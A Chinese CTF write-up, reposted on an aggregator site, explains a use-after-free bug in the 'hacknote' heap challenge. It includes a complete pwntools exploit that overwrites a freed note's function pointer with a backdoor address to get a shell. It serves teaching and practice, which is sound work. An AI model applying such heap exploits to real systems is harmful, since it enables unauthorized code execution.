首页 > 其他 > 详细

pwn-hitcontraining_uaf

时间:2020-09-08 00:17:31      阅读:104      评论:0      收藏:0      [点我收藏+]

这就是堆的入门题吗,爱了爱了

add:

技术分享图片

 

 

 add一个note会malloc两个堆,第一个堆不可控,大小默认为0x8,储存函数。第二个堆是用户可控的context。

 

delete:

技术分享图片

 

 delete进行free操作,但是没有把指针置null,因此存在uaf漏洞。

uaf简介:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/

print:

技术分享图片

 

 print返回的是addnote时malloc的第一个堆,无法直接控制,但利用uaf漏洞可以实现写入后门函数地址,print后即可getshell

 

magic后门函数:

技术分享图片

 

 

 

 

 

exp:

#!/usr/bin/python
from pwn import *

a= process("./hacknote")
#a=remote(‘node3.buuoj.cn‘,26162)
#elf=ELF(‘./babyheap_0ctf_2017‘)
#libc = ELF(‘libc-2.23.so‘)
context.log_level=debug
context.arch = "i386"
magic=0x8048945
def add(size,text):
  a.sendlineafter("Your choice :",str(1))
  a.sendlineafter("Note size :",str(int(size)))
  a.sendlineafter("Content :",str(text))
def delete(idx):
  a.sendlineafter("Your choice :",str(2))
  a.sendlineafter("Index :",str(idx))
def echo(idx):
  a.sendlineafter("Your choice :",str(3))
  a.sendlineafter("Index :",str(idx))

add(0x10,a*4) #idx 0
add(0x10,a*4) #idx 1
add(0x10,a*4) #idx 2

delete(0)     #fastbin->idx 0
delete(1)     #fastbin->idx 1->idx 0
#gdb.attach(a)
add(0x8,p32(magic))
#gdb.attach(a)
echo(0)

a.interactive()

附上两次调试的结果,第一次是执行delete操作后的堆的情况,第二次是add改地址后的堆情况

1.0x82b2160是note1的第一个堆的fd,指向note0的第一个堆

技术分享图片

 

 2.0x8048945是magic的地址,因为fastbin的FIFO特性,note4实际上是原来的note0

技术分享图片

 

pwn-hitcontraining_uaf

原文:https://www.cnblogs.com/remon535/p/13629956.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!